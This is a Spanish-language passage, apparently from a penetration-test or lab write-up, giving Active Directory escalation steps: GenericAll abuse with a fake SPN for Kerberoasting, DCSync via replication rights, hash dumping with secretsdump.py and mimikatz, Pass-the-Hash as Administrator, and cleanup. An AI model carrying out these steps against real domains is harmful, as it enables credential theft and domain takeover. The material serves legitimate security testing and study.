GenericAllsobreadunn, asignarle un SPN falso y Kerberoastearla, o verificar queadunnya tiene derechos de replicación adunntieneDS-Replication-Get-Changes+DS-Replication-Get-Changes-Allsobre el dominio → ejecutar DCSync- Extraer hashes con
secretsdump.py -just-dc(Linux) omimikatz lsadump::dcsync(Windows) - Revisar cuentas con reversible encryption para contraseñas en texto claro adicionales
- Usar el hash de Administrator obtenido para Pass-the-Hash y acceso total al dominio
- Ejecutar cleanup: eliminar SPN falso, remover de grupos, restaurar contraseñas donde aplique